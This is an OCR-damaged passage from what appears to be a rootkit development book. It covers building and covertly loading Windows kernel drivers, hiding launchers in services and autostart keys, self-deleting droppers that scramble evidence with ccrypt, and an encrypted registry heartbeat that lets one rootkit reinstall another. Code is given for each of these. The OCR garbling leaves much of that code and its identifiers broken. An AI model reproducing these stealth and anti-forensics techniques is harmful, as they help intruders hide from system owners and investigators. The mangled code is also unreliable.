From here, you can choose a build environment specifically geared toward the operating system you're using and the hardware that you're running it on. Selecting a build environment in this manner will both launch a console window and automatically define dozens of special-purpose environmental variables. In case you're curious as to what happens behind the scenes, these build environment menu items launch a batch file named setenv. bat that ships with the WDK. This is the WDK's steroid-enhanced version of vcvars32. bat. Its general usage is as follows:
"setenv <directory> [fre:chk] [64:AI1:J64] [hal] [WLH:WXP:\o.NET:W2K) [bscmake]" Example: Example: Example: Example: setenv setenv setenv setenv d:\ddk d:\ddk d:\ddk d:\ddk chk fre WLH fre 64 fre x86-64 set checked environment set free environment for Windows Vista sets IA-64 bit free environment sets x86 bit free environment
Build.exe
The build. exe tool places a layer of abstraction on top of nmake. exe in an effort to simplify the build process. Fortunately, it does a fairly admirable job of this. Assuming a single source code tree, the build. exe tool obeys the following algorithm: Step 1. The build. exe looks in the current directory for a file named OIRS. This file contains a OIRS macro that defines a space- (or tab-) delimited list of subdirectories that build. exe should process. If the OIRS file is missing, build. exe will only process the contents of the current directory.
DIRS=subOirectoryl subOirectory2 subOirectory3
Each subdirectory processed by build. exe should contain following: Source code (.c files, .asm files, etc.) A file named SOURCES A file named MAKEFILE
Step 2. For each subdirectory that it processes, build. exe will start by reading the SOURCES file and then invoke nmake. exe, which will use MAKEFILE to determine dependencies and issue commands. The nmake. exe utility will spawn the C compiler (cl.exe) and then the linker (link .exe) on its own. If you'd like to see a blow-by-blow account of what happens, the build. exe tool generates a log file named according to the following conventions:
Port I 1195
If there are warnings or errors detected during the build process, similarly named log files will be created with the file extensions .wrn (for warnings) and .err (for errors).
build[fre:chkl_OSVersion_CPU.wrn build[fre:chkl_OSVersion_CPU.err
MAKE FILE is really just a placeholder of sorts. It typically redirects nmake. exe
to the master definition file (makefile. def), which defines a bunch of macros used to set compiler and linker options.
!INClUDE $(NTMAKEENV)\makefile.def
The SOURCES file is where we'll do most of our tweaking. It contains macro definitions recognized by build. exe. These macros are defined using the following syntax:
MACRONAME=MacroValue
The name of the binary (without the file name extension) The destination directory for all build products The type of executable being built The files to be compiled (delimited by spaces or tabs)
A user-mode application (.exe) A static user library (.lib) A dynamic-link library (.dll) A kernel-mode driver (.sys)
There are dozens of optional macros that can be placed in a SOURCES file. The WDK documents all of them. Here are a few of the more common optional macros:
INCLUDES TARGETLIBS
The location of the header files to be included Other libraries to link against
Included path names must either be absolute or relative to the SOURCES file directory. To specify multiple entries with the INCLUDES macro, delimit them
196
Port I
using semicolons. Another thing to keep in mind is that header files specified via INCLUDES will be searched before the default paths. Libraries specified using the TARGETLIBS macro must use absolute paths. Multiple entries must be delimited by spaces or tabs. The MSC_WARNING_LEVEL macro uses the standard set of compiler warning options:
/we
/Wl /W4 /WX
Disable all warnings Display severe warnings Display all possible warnings (most sensitive) Treats all compiler warnings as errors (recommended during initial development)
To see how this looks in practice, here are the contents of the SOURCES file used to build the skeletal KMD.
TARGETNAME=srv3 TARGETPATH= . . \ . \ . . \bin TARGETTYPE=DRrvER SCXJRCES=kmd . c INCLUDES= . . \ . \inc MSC_WARNING_LEVEL=/W3 /INX.
As you can see, this is much shorter and less cryptic than the average makefile. The output generated when build. exe processes this SOURCES file looks something like:
D:\skeleton\src\krn\kmd>bld BUILD: Compile and Link for x86 BUILD: Loading c:\winddk\609B\build .dat .. BUILD: Computing Include file dependencies: BUILD: Start time: Mon May 26 13:00:16 2998 BUILD: Examining d:\skeleton\src\krn\kmd directory for files to compile . BUILD: Saving c:\winddk\609B\build .dat .. . BUILD: Compiling and Linking d:\skeleton\src\krn\kmd directory Compiling - kmd.c Linking Executable - d:\skeleton\bin\i386\srv3.sys BUILD: Finish time: Mon May 26 13:00:17 200S BUILD: Done 3 files compiled 1 executable built
Part I 11 97
Strictly speaking, the last three of the five methods listed are aimed at injecting arbitrary code into Ring 0, not just loading a KMD into kernel space. Drivers merely offer the most formal approach to accessing the internals of the operating system, and are thus the best tool to start with. Think of the Windows driver model as training wheels. Once you've mastered KMDs you can slowly branch out into more obscure and sophisticated techniques, until one day you don't need to rely on drivers at all.
198
Part I
The SC. exe create command corresponds to the createService() Windows API function. The second command, which defines the driver's description, is an attempt to obfuscate the driver in the event that it's discovered. Table 4-9 lists and describes the command-line parameters used with the create command.
Table 49 Parameter
binpath type start error DisplayName
D escrlpllon The path to the driver .sys binary The type of driver (e.g., kernel, filesys, adapt) Specifies when the driver should load Determines what sort of error is generated if the driver cannot load The description for the driver that will appear in GUI tools
The start parameter can assume a number of different values. During development, demand is probably your best bet. For a production KMD, I would recommend using the auto value.
Loaded by system boot loader Loaded during kernel initialization (IoInitSystemO ) Loaded automatically when computer restarts Must be manually loaded The driver cannot be loaded
Part I 1199
During development, you'll want to set the error parameter to normal (causing a message box to be displayed if a driver cannot be loaded). In a production environment, where you don't want to get anyone's attention, you can set error to ignore. Once the driver has been registered with the SCM, loading it is a simple affair.
REM The start command corresponds to the StartService() Windows API function sC.exe start srv3
If you want to delete the KMD's entry in the SCM database, use the delete command. Just make sure that the driver has been unloaded before you try to do so.
REM The delete command corresponds to the OeleteService() Windows API function sc.exe delete srv3
NULL;
= NULL;
OpenSCManager //LPCTSTR IpMachineName (NULL = local machine) //LPCTSTR IpDatabaseName (NULL = SERVICES_ACTIVE_DATABASE)
NULL, NULL,
200
Part I
);
i f( M.lll==scllilBHandle)
{
svcHandle = CreateService scnOBHandle, driverName, driverName, SERVICE_All_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DE/W{)_START, SERVICE_ERROR_NORMAl, binaryPath, tfJll, tfJll, M.lll, tfJll, tfJll
);
IISC_HANDlE hSCManager IllPCTSTR lpServiceName IllPCTSTR lpOisplayName II[W)RD dI.OesiredAccess III:WJRD dwServiceType III:WJRD dwStartType III:WJRD dwErrorControl IllPCTSTR lpBinaryPathName (full path) IllPCTSTR lploadOrderGroup IllPI:WJRD lpdwTagId IllPCTSTR lpOependencies Il lPCTSTR lpServiceStartName (account name) IllPCTSTR lpPassword (password for account)
if(svcHandle==tfJll)
{
if(GetlastError()==ERROR_SERVICE_EXISTS)
{
DBG_TRACE( "installDriver", "could not open handle to dri ver"); PrintErrorO; CloseServiceHandle(scllilBHandle); return(tfJll) ;
}
CloseServiCeHandle(scllilBHandle); return(svcHandle);
}
DBG_TRACE( "installDriver","function returning successfully"); CloseServiceHandle(scllilBHandle); return(svcHandle); }/*end installDriver()------ - -- ------- -- ----- -- ------ - -- ----- -- ------ - --- - -*1 BOOl loadDriver(SC_HANDlE svcHandle)
{
Port I 1201
if(StartService(svcHandle,9,NUll)==0)
{
if(GetLastError()==ERROR_SERVICE_AlREADY_RUNNING)
{
DBG_TRACE("loadDriver","driver already running")j return(TRUE)j else DBG_TRACE("loadDriver","failed to load driver")j PrintError()j return(FAlSE)j
}
> Note:
Registry Footprint
When a KMD is registered with the SCM, one of the unfortunate byproducts is a conspicuous footprint in the registry. For example, the skeletal KMD we just looked at is registered as a driver named srv3. This KMD will have an entry in the SYSTEM registry hive under the following key:
HKLM\System\CurrentControlSet\Services\srv3
We can export the contents of this key to see what the SCM stuck there:
[HKEY_lOCAl_MACHINE\SYSTEM\CurrentControlSet\Services\srv3] "Type"=dword:eeeeeeel "Start"=dword:eeeeeee3 "ErrorControl "=dword: eeeeeeel "ImagePath"= "\??\C:\Windows\System32\drivers\srv3.sys" "DisplayName"="srv3" "Description"="SOOl subsystem for Windows Resource Protected file"
You can use macros defined in winnt. h to map the hex values in the registry dump to parameter values and verify that your KMD was installed correctly:
II Service Types (Bit Mask) #define SERVICE_KERNEL_DRIVER #define SERVICE_FIlE_SYSTEM_DRIVER #define SERVICE_ADAPTER I I Start Type #define SERVICE_BOOT_START
9x8ooooeee
2021 PorI I
/ / Error control type #define SERVICE_ERROR_IGNORE #define SERVICE_ERROR_NORMAL #define SERVICE_ERROR_SEVERE #define SERVICE_ERROR_CRITICAL
zwSetSystemlnformationO
This technique was posted publicly by Greg Hoglund on NTBUGTRAQ back in August of 2000. It's a neat trick, though not without a few tradeoffs. It centers around an undocumented, and rather ambiguous sounding, system call named ZwSetSystemlnformation(). You won't find anything on this in the SDK or WDK docs, but you'll definitely run into it if you survey the list of routines exported by ntdll. dll using dumpbin. exe.
C:\>dumpbin 1634 1635 1636 1637 1638 /exports C:\windows\system32\ntdll.dll : findstr ZwSetSystem 661 aee58FF8 ZwSet5ystemEnvironmentValue 662 aee590e8 ZwSetSystemEnvironmentValueEx 663 aee59018 ZwSetSystemInformation 664 aee59028 ZwSetSystemPower5tate 665 aee59038 ZwSetSystemTime
One caveat to using this system call is that it uses constructs that typically reside in kernel space. This makes life a little more difficult for us because the driver loading program is almost always a user-mode application. The DDK and SDK header files don't get along very well. In other words, including windows. hand ntddk. h in the same file is an exercise in frustration . They're from alternate realities. It's like putting Yankees and Red Sox fans in the same room.
> Note:
The best way to get around this is to manually define the kernel-space constructs that you need.
//need 32-bit value, codes are in ntstatus.h typedef long NTSTATUS; //copy declarations from ntdef.h typedef struct _UNICODE_STRING
{
USHORT Length;
Po rl I
I 203
USHORT MaximumLength; PWSTR Buffer; }lXIIICOOE_STRING; Ilfunction pointer to OOK routine-------------------------------------------Iideclaration mimics prototype in wdm.h VOID (_stdcall *RtlInitUnicodeString)
(
);
II undocumented Native API Call----------------------------------------------NTSTATUS (_stdcall *ZwSetSystemInformation)
(
The first three items (NTSTATUS, UNICODE_STRING, and RtlInitUnicodeString) are well-documented DDK constituents. The last declaration is something that Microsoft would rather not talk about. The ZwSetSystemInformation () function is capable of performing several different actions. Hence the nebulous sounding name (which may be an intentional attempt at obfuscation). To load a KMD, a special integer value needs to be fed to the routine in its first parameter. Internally, this function has a switch statement that processes this first parameter and invokes the necessary procedures to load the driver and call its entry point. The second parameter in the declaration of ZwSetSystemInformation() is a Unicode string containing the name of the driver. The third parameter is the size of this structure in terms of bytes. The following snippet of code wraps the invocation of ZwSetSystemInformation () and most of the setup work needed to make the call. Though ZwSetSystemInformation () is undocumented, it is exported by ntdll. dll. This allows us to access the function as we would any other DLL routine using the standard run-time loading mechanism.
NTSTATUS loadDriver(WCHAR *binaryPath)
{
DRIVER_NAME DriverName; const WCHAR dllName[] = L"ntdll.dll"; DBG_TRACE("loadDriver","Acquiring function pointers"); RtlInitUnicodeString = (void*)GetProcAddress
(
GetModuleHandle(dllName),
204
Part I
"RtlInitUnicodeString"
);
ZwSetSystemlnformation = (void*)GetProcAddress
(
GetModuleHandle(dllName), "ZwSetSystemlnfonnation"
);
if(RtllnitUnicodeString==NULL)
{
The end result of this code is that it allows you to load a KMD without the telltale registry entries that would tip off a forensic analyst. Nevertheless, this additional degree of stealth doesn't come without a price. The catch is that KMDs loaded in this manner are placed in memory that is pageable. If your KMD contains code that needs to reside in memory (e.g., a routine that hooks a system call, acquires a spin lock, or services an interrupt) and the page of memory storing this code has been written to disk storage by the memory manager, the operating system will be in a difficult position. Access time for data in memory is on the order of nanoseconds (10-9). Access time for data on disk is on the order of milliseconds (1Q-J). Hence, it's roughly a million times more expensive for the operating system to get its hands on paged memory. When it comes to sensitive operations like handling an interrupt, speed is the name of the game. This is something that the architects at Microsoft took into account when they formulated the operating system's
Part I
I 205
ground rules. Thus, if a critical system operation is unexpectedly hindered because it needs to access paged memory, a bug check is generated. No doubt, this will get the attention of the machine's system administrator and possibly undermine your efforts to remain in the shadows. The fact that the DDK documentation contains a section entitled "Making Drivers Pageable" infers that, by default, drivers loaded through the official channels tend to reside in nonpaged (resident) memory. As a developer there are measures you'll need to institute to designate certain parts of your driver as pageable. The DDK describes a number of preprocessor directives and functions to this end. You can use the dumpbin. exe utility with the /HEADERS option to see which parts (if any) of your driver are pageable. Each section in a driver will have a Flags listing that indicates this. For example, our skeletal srv3. sys KMD consists of five sections:
.text .data .rdata .reloc INIT
The . text section is the default section for code and the. data section stores writable global variables. The . rdata section contains read-only data. The . reloc section contains a set of address fix-ups that are needed if the module cannot be loaded at its preferred base address. The INIT section identifies code that can have its memory recycled once it has executed. According to the output generated by dumpbin. exe, none of the code or data sections are pageable.
C:\>dumpbin /headers C:\windows\system32\drivers\srv3.sys SECTION HEADER #1 . text name 711 virtual size 68eooeze flags Code Not Paged Execute Read SECTION HEADER #2 .rdata name E2 virtual size 4800004e flags Initialized Data Not Paged Read Only
2061 Port I
SECTION HEADER #3 .data name 19 virtual size C8OOOO4B flags Initialized Data Not Paged Read Write SECTION HEADER #4 INIT name 13E virtual size E2eeee29 flags Code Discardable Execute Read Write SECTION HEADER #5 . reloc name 4200004e flags Initialized Data Discardable Read Dnly
To get around the pageable memory problem with ZwSetSystemlnformati on ( ), your KMD can manually allocate memory from the non paged pool and then copy parts of itself into this space. Though, because nonpaged memory in kernel space is a precious commodity, you should be careful to limit the number of allocation calls that you make.
BYTE* pagedPoolptr; pagedPoolptr = (BYTE*)ExAllocatePool(NonPagedPool, 4096);
Another downside to using ZwSetSystemlnformation () is that you lose the ability to formally manage your driver because it's been loaded outside of the SCM framework. Using a program like sc. exe, your KMD is registered in the SCM database and thus afforded all of the amenities granted by the SCM: the KMD can be stopped, restarted, and set to load automatically during reboot. Without the support of the SCM you'll need to implement this sort of functionality on your own. ZwSetSystemlnformation() only loads and starts the driver, it doesn't do anything else. One final caveat: While the previous loadDriverO code worked like a charm on Windows XP, it does not work at all on Windows Vista. Obviously, Microsoft has instituted some changes under the hood between versions.
Port I
I 207
208
Part I
C:\>dumpbin.exe /headers c:\windows\system32\drivers\null.sys SECTION HEADER #3 PAGE name 128 virtual size 3909 virtual address (90913909 to 90913127) 2ee size of raw data see file pointer to raw data (eeeeesee to eeeee9FF) e file pointer to relocation table e file pointer to line numbers e mrnber of relocations e number of line numbers 6eeeee2e flags Code Execute Read
Rutkowska began by looking for some obscure KMD that contained pageable code sections. She settled on the null. sys driver that ships with Windows. It just so happens that the IRP dispatch routine exists inside of the driver's pageable section (you can check this yourself with IDA Pro). Rutkowska developed a set of heuristics to determine how much memory would need to be allocated to force the relevant portion of null. sys to disk. Once the driver's section has been written to disk, a brute-force scan of the page file that searches for a multi-byte pattern can be used to locate the driver's dispatch code. Reading the Windows page file and implementing the shellcode patch was facilitated by CreateFile( "\ \ \ \. \ \PhysicalDiske") ... ), which provides user-mode programs raw access to disk sectors. 15 To coax the operating system to load and run the shellcode, CreateFile() can be invoked to open the driver's object. In her original presentation, Rutkowska examined three different ways to defend against this attack: Disable paging (who needs it when 4 GB of RAM is affordable?) Encrypt or signature pages swapped to disk (performance hit) Disable user-mode access to raw disk sectors (the easy way out)
Microsoft has since addressed this attack by disabling user-mode access to raw disk sectors on Vista. This does nothing to prevent raw disk access in kernel mode. Rutkowska responded l6 to Microsoft's solution by noting that
all it would take to surmount this obstacle is for some legitimate software vendor to come out with a disk editor that accesses raw sectors using its own signed
15 Microsoft Corporation, "INFO: Direct Drive Access Under Win32," Knowledge Base Article 100027, May 6, 2003. 16 http://theinvisiblethings.blogspot.coml2006110/vista-rc2-vs-pagefile-attack-and-some.html
Part I
I 209
KMD . An attacker could then use this signed driver, which is 100% legitimate, and commandeer its functionality to inject code into kernel space using the attack just described!
Rutkowska's preferred defense is simply to disable paging.
210
Part I
which performs the installation (see Figure 4-16). A dropper serves mUltiple purposes. For example, to help the rootkit make it past gateway security scanning the dropper will transform the rootkit (compress or encrypt it) and encapsulate it as an internal resource. When the dropper is executed, it will drop (i.e., unpack, decrypt, and install) the rootkit. A well-behaved dropper will then delete itself, leaving only what's needed by the rootkit.
11001011010111001111000101010101100001010101010101010101001010101101101
010101010101~ 01001010101101 011111111010 Payload Dropper Rootkit 0 101010101010 1 10101010101010 001010101010 010100101010 01010010010 101 01010101010010 1010010 100 1010100 110010010 1000 1011001010 10101010101001011
00 1010011010.lfJJ'JU..LJ..I.I.JI~~~~~~~~~~~~=1L..L.U11101010110 10l00 1
Figure 4-16 Once a rootkit has been installed, it needs to be launched. The dropper usually has the honor of initially launching the rootkit as part of the installation routine. However, if the rootkit is to survive reboot, it must have facilities in place to get the ball moving again after the original rootkit is zapped by a shutdown. This is particularly true if you're using an informal, undocumented, system call like ZwSetSystemlnformation ( ), which doesn't offer driver code any way to gracefully unload and persist. We can classify techniques based on who does the launching: the operating system or a user-mode application.
An alternative approach is to patch the kernel file (e.g., ntoskrnl. exe), or some other core system file, so that it launches the rootkit during startup. The problem with this school of thought is that overt binary modification of this sort can be detected by an offline disk analysis with a checksum program like Tripwire. Even then, there's also the possibility of code integrity checks. During startup, the Windows loader might notice that certain file signatures
Part I
1211
don't match, sense that something strange is afoot, and refuse to boot the operating system. One way to get around this is to take things one level deeper and patch the MBR. On machines conforming to the EFI specification, you'll need to patch the firmware instead of the MBR. The idea is that the altered code in the MBRIfirmware can patch the system files that load the operating system. This way, modifications can be made without altering the binaries on disk. In addition, code integrity checks can be disabled at run time so that these modifications will not be detected. We'll investigate this approach in a subsequent chapter when we look at Vbootkit. The best defense against this attack would be to take the machine offline and extract the MBR, or firmware image, and compare it against a snapshot of the original.
While this sort of rookit launcher will have all the benefits that come from using the stable and rich SCM infrastructure, service programs leave a footprint in the registry that sticks out like a sore thumb. Any system administrator worth his salt will be familiar enough with standard system services listed in services. msc to recognize one that doesn't belong. This means that you'll need to design your rootkit to hide the launcher.
212
ParI I
One quick-and-dirty way to hide a launcher is to bind it to a well-known existing service, creating a Trojan service. This way, you get the benefits of the SCM without adding entries to the registry or SCM database. Another, more sophisticated, way to hide the launcher is have the rootkit hide it. Specifically, register a new service program and then have the rootkit go through all of the fuss necessary to hide the corresponding files, registry entries, and modules. This creates a symbiotic relationship between the launcher and its rootkit. One needs the other to survive. Keep in mind that while this is a tenable approach if your goal is to foil live system analysis, it's not necessarily a winner when it comes to offline forensic analysis. If you're brazen enough not to hide the launcher outright, the next best thing to do is to obfuscate the launcher so that it looks like it might be legitimate. Later on, in the chapter about anti-forensics, we'll look into obfuscation in more detail.
\KnownDLLs\ \BootExecute
Alist of DlLs mopped into memory by the system ot boot time Anative opplicotion lounched by the session manager (smss. exe)
Tobie 4-11
User Logon ISubKeyl[value] H LM ISO FTWA R 1M rosoftlWin dows ICurrent Ve rs Ion I K E I( HKCU ISOFTWAREIMlcrosoftlWrndol'/slCu rrentVerslon I Deswptlon
\Run\ \RunOnce\
list of opplicotions thot run when 0 user logs on list of applications thot run once when a user logs on (value is then deleted)
Part I 1213
---------+----------
G palicy and ASEP processor launched by winlogon _exe raup GUI shell launched by winlogon. exe
--~------------------~
H LM ISOFTWA R lM K E luosoftlW dows ICu rrentVerslon lexpl arerl in H KCUISOFTWAREIMluosoftlWmdowslCu rrentVerslonlexplorerl D esmptlon Stores the common startup menu location Stores the cammon startup menu location
HKLMISOFTWAREIClassesl D esmptlOn Controls w happens when an .exe file is open hat Controls what happens when a .com file is open Controls w happens when a .bat file is open hat Controls w happens w a .vbs file is open hat hen Controls what happens w a .js file is open hen
\ batfile\shell\open\command \VBSfile\shell\open\command
I--
\JSfile\shell\open\command
These keys normally contain the default value "%1" %*, which means that they launch the first argument and any successive arguments.
Table 4-15
Table 4-16
Table 4-17
214
Part I
A browser helper object (BHO) is a browser extension that can run without an obvious user interface, which suits our purposes just fine . It's an inprocess component object model (COM) server that Internet Explorer loads when it starts up. In other words, it's a DLL that runs in the address space of the browser and is tied to the main window ofthe browser (each new browser loads a new instance of a BHO).
Though this may seem attractive, given the broad install base of Internet Explorer, there are significant downsides to this approach. Specifically, Internet Explorer must be open in order for the rootkit to be launched. What if the current user decides to run Firefox for web browsing? Then there's the issue of concealment. There's a whole universe of tools devoted to inspecting and manipulating COM objects. Not to mention that COM objects leave a serious footprint in the registry. BHOs leave even more forensic data than a normal COM object. In particular, COM objects leave registry entries under the following keys: HKCU\Software\Classes\CLSID\{CLSID} HKLM\Software\Classes\CLSID\{CLSID} HKLM\Software\Classes\{ProgID} HKLM\Software\Classes\AppID\{AppID}
Where {CLSID} represents the global unique ID (GUID) of a COM object, {ProgID} represents a program ID ofthe form program. component. version (e.g., VisioViewer. Viewer .1), and {AppID} represents the GUID of an application hosting a COM object. BHOs, in addition, leave a {CLSID} footprint under: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\ These are high-visibility entries that anti-virus and anti-spyware apps are guaranteed to examine. In the end, I think that using BHOs still have a place. It's just that BHOs reside in the purview of malware aimed at the average user, not the server administrator. This is the sort of person who wouldn't
Port I
I 215
know how to distinguish between an Adobe plug-in and a fake one (much less even know where to look to view the list of installed plug-ins). BHOs are good enough to fool the Internet masses, but not subtle enough for rootkits.
Defense in Depth
Rather than put all of your eggs in one basket, you can hedge your bet by implementing redundant facilities so that if one is discovered, and disabled, the other can quietly be activated. This idea is known as defense in depth. According to this general tenet, you should institute mechanisms that range from easy-to-detect to hard-to-detect. Go ahead; let the system administrators grab the low-hanging fruit. Let them believe that they've cleaned up their system and that they don't need to rebuild.
Kamikaze Droppers
Strictly speaking, the dropper shouldn't hang around if it isn't needed anymore. Not only is it impolite, but it leaves forensic evidence for the White Hats. In the optimal case, a dropper would stay memory resident and never write anything to disk to begin with (we'll talk more about this in the chapters on anti-forensics). The next best scenario would be for a dropper to do its dirty work and then self-destruct. This leads to a programming quandary: Windows generally doesn't allow a program to erase its own image. However, Windows does allow a script to delete itself. This script can be a JavaScript file, a VBScript file, or a plain-old batch file. It doesn't matter. Thus, using a somewhat recursive solution, you can create a program that deletes itself by having the program create a script, terminate its own execution, and then have the script delete the program and itself. In the case of a rootkit installation program, the general chain of events would consist of the following dance steps:
1.
2. 3. 4.
The install program creates a script file, launches the script, and then terminates. The script file installs the rootkit. The script file deletes the program that created it (and any other random binaries). The script file deletes itself.
216 1 Part I
One thing to bear in mind is that it's not enough to delete evidence; you must obfuscate it digitally to foil attempts to recover forensic data. One solution is to use a utility like ccrypt. exe 17 to securely scramble files and then delete ccrypt. exe using the standard system del command. In the worst-case scenario, the most that a forensic analyst would be able to recover would be ccrypt. exe.
> Nole:
To give you an idea of how this might be done, consider the following source code:
bldScriptO; sel fDestructO;
The first line invokes a C function that creates a JavaScript file. The second line of code launches a shell to execute the script just after the program has terminated. The JavaScript is fairly pedestrian. It waits for the parent application to terminate, deletes the directory containing the install tools, and then deletes itself.
var wshShell = new ActiveXObject("WScript.Shell");
II [common stringsj----------------------------------------------------------var var var var var var driverName scriptName rootkitOir dri verDir cmdExe keyStr ="srv3"; ="uninstall.js" ; ="%SystenOrive%\'-kit"; ="%systemroot%\\system32\\drivers"; ="cmd .exe Ic "; ="sasdj0qw[-eufa[oseifjh[aosdifjasdg";
112 seconds
cmdStr = cmdExe+rootkitDir+"\\ccrypt -e -b -f -K "+keyStr+" "+dname+"\\"+fname; wshShell.Run(cmdStr,l,true); cmdStr = cmdExe+"del "+dname+"\\"+fname+" If Iq"; wshShell. Run(cmdStr, l,true);
}
17
http://ccrypt.sourceforge.net/
Port I 1217
function DeleteDir(dname)
{
cmdStr = cmdExe+rootkitDir+"\\ccrypt -e -b -f -r -K "+keyStr+" "+dname; wshShell.Run(cmdStr,l,true); cmdStr = cmdExe+" Rmdir "+dname+" wshShell.Run(cmdStr,l,true);
}
Is Iq";
The routine that spawns the command interpreter to process the script uses well-documented Windows API calls. The code is fairly straightforward.
void selfDestruct()
{
STARTUPINFO sInfo; PROCESS_INFORMATION pInfo; char szCmdline[FILE_PATH_SIZE] = "cscript.exe "; char scriptFullPath[FILE_PATH_SIZE]; int status; DBG_TRACE ("sel fDestruct", "Building ccmnand line"); getScriptFullPath(scriptFullPath); strcat(szCmdline,scriptFullPath); ZeroMemory(&sInfo, sizeof(sInfo; ZeroMemory(&pInfo, sizeof(pInfo; sInfo.cb = sizeof(sInfo); DBG_TRACE("selfDestruct","creating cscript process"); DBG_PRINT2(" [selfDestruct] ccmnand line=%s\n" ,szCmdline); status = CreateProcessA WLL, szCmdline, WLL, WLL, FALSE,
0,
II No module name (use ccmnand line) I I Ccmnand line II Process handle not inheritable II Thread handle not inheritable II Set handle inheritance to FALSE II No creation flags
218
Port I
M.lLL, M.lLL,
&SInfo, &plnfo
)j
H(status==0)
{
DBG_TRACE("selfDestruct","cscript process created, creator exiting")j exit(0)j }/*end selfDestruct()--------------------------- -- -- -- -------- -------------*1
Rootkit Uninstall
There may come a day when you no longer need an active outpost on the machine that you've rooted. Even rootkits must come to grips with retirement. In this event, it would be nice if the rootkit were able to send itself back out into the ether without all of the fuss of buying a gold watch. In the optimal case, the rootkit will be memory resident and will vanish when the server is restarted. Otherwise, a self-destructing rootkit might need to use the same script-based technology we just examined. To add this functionality to the previous example, you'd merely need to amend the bldScript() routine so that it included the following few additional lines of code in the script it generates:
II [Remove Driver]--- - --------------------------------------------------------
var cmdStr = cmdExe+" sc.exe stop "+driverNamej wshShell. Run(cmdStr, 1,true)j cmdStr = cmdExe+" sC .exe delete "+driverNamej wshShell.Run(cmdStr,l,true)j DeleteFile(driverDir, driverName+".sys")j
Pa rt I
I 219
An application agent
A persistence module
The application agent (rpcnet. exe) phones home to absolute. com by spawning a web browser to POST data to the company's web site. This web browser blips in and out of existence quickly, so it's hard to see unless you're using a tool like TCPView. exe from Sysinternals. This is the service that I was wrestling with. What I didn't realize was that there was a second service, what Absolute refers to in their documentation as a "persistence module." This service runs in the background, checking to see if the agent needs to be repaired or reinstalled. Recently Absolute Software has partnered with OEMs to embed this
18 http://www.ab olute.com/
220
PorI I
persistence module in the BIOS. That way, even if a user reformats the hard drive the persistence module can reinstall the application agent. I wonder what would happen if someone discovered a bug that allowed them to patch the BIOS-based persistence module. That would be one nasty rootkit. .. In this spirit, you might want to consider a rootkit design that implements self-healing features. You don't necessarily have to hack the BIOS (unless you want to). A less extreme solution would involve a package that consists of two separate rootkits: Primary rootkit -Implements concealment, remote access, and data collection Secondary rootkit - Implements a backup recovery system
In this scenario, the primary rootkit periodically emits a heartbeat. A heartbeat can be a simple one-way communication that the primary rootkit sends to the secondary rootkit. To make spoofing more difficult, the heartbeat can be an encrypted timestamp. If the secondary rootkit fails to detect a heartbeat after a certain grace period, it reinstalls and reloads the primary rootkit. There are many different IPC mechanisms that can be employed to implement heartbeat transmission. The following technologies are possible candidates: Windows sockets
RPC
Named pipes Mailslots File mapping (local only, and requires synchronization)
To help it stay under the radar, the heartbeat must leave a minimal system footprint. Thus, mechanisms that generate network traffic should be avoided because the resulting packets are easy to capture and analyze. This puts the kibosh on RPC and sockets. Mailslots and named pipes both have potential but are overkill for our purposes. One way to send a signal between unrelated applications is through a file. In this sort of scenario, the primary rootkit would periodically create an encrypted timestamp file in a noisy section of the file system. Every so often, the secondary rootkit would decrypt this file to see if the primary rootkit was still alive.
Part I 1221
The key to this technique is to choose a suitably "busy" location to write the file. After all, the best place to hide is in a crowd. In my opinion, the registry is probably one of the noisiest places on a Windows machine. Heck, it might as well be Grand Central Station. You could very easily find some obscure key nested seven levels down from the root where you could store the encrypted timestamp as a registry value.
> Note:
Let's take a look to see how this might be implemented. The heartbeat client launches a thread responsible for periodically emitting the heartbeat signal. This thread just loops forever, sleeping for a certain period of time and then writing its timestamp to the registry.
DWORD WINAPI hbClientLoop(LPVOID lpParameter)
{
while(TRUE==TRUE)
{
unsigned char ciphertext[SZ_BUFFER]; DBG_TRACE("hbClientSend","client generating heartbeat"); createTimeStamp(ciphertext); storeTimeStampReg(ciphertext,SZ_BUFFER); return; }/*end hbClientSend()------------------------------------------------------ */
The client uses standard library routines to create a timestamp and then employs the Rijndael algorithm to encrypt this timestamp. The blob of data that results is written to the registry as a REG_BINARY value.
void createTimeStamp(unsigned char *ciphertext)
{
222
Po rt I
__int64 timeUTCj struct tm *localTimej time( &timeUTC) j if(timeUTC < 9){timeUTC=0j} localTime = localtime(&timeUTC)j if(localTime==~LL){ strcpy(dateString, "9EHI9-00:00")j } else{ getDateString(dateString, *localTime)j } wipeBuffer(plaintext,SZ_BUFFER)j wipeBuffer(ciphertext,SZ_BUFFER)j cptr = (unsigned char*)&timeUTCj for(i=0ji<sizeof( __int64)ji++){ plaintext[i] = cptr[i]j } rijndaelSetupEncrypt(buffer, key, KEYBITS) j rijndaelEncrypt(buffer, NROUNDS(KEYBITS), plaintext, ciphertext)j DBG_TRACE("createTimeStamp","time-stamp built")j DBG_PRINT1("[createTimeStamp]: plaintext bytes:\t")j printBuffer(plaintext,SZ_BUFFER)j DBG_PRINT1(" [createTimeStamp]: ciphertext bytes: \t") j printBuffer(ciphertext,SZ_BUFFER)j DBG_PRINT2("[createTimeStamp]: dateString=%s\n",dateString)j wipeBuffer(plaintext,SZ_BUFFER)j wipeBufferchar *)buffer,RKLENGTH(KEYBITS) *4)j returnj }/*end createTimeStamp()-- -- -- ---- ----------------------- --- -- - ------------*/ void storeTimeStampReg(unsigned char *ciphertext, int nBytes)
{
LONG status j HKEY hKeYj DBG_TRACE( "storeTimeStampReg", "opening timestamp key")j status = RegOpenKeyExA
(
HKEY_LOCAL_MACHINE, RegSubKey,
//HKEY hKey //LPCTSTR lpSubKey / /OWJRD Reserved / /REGSAM sarrDesired //PHKEY phkResult
)j
if(status!=ERROR_SUCCESS)
{
DBG_TRACE("storeTimeStampReg","Failed to open registry key")j //see winerror.h for error codes DBG_PRINT2("[storeTimeStampReg] : status=%x\n",status)j returnj
Port I
I 223
hKey, keyValue,
a,
REG_BINARY, ciphertext, SZ_BUFFER
);
//HKEY hKey //LPCTSTR lpValueName / /IJW)RO Reserved //D\\ORO dwType, //const BYTE* lpData, / /D\\ORO cbData
if(status!=ERRDR_SUCCESS)
{
DBG_TRACE("storeTimeStampReg","Failed to set registry value"); //see winerror.h for error codes DBG_PRINT2("[storeTimeStampReg]: status=%x\n",status); RegCloseKey(hKey); return;
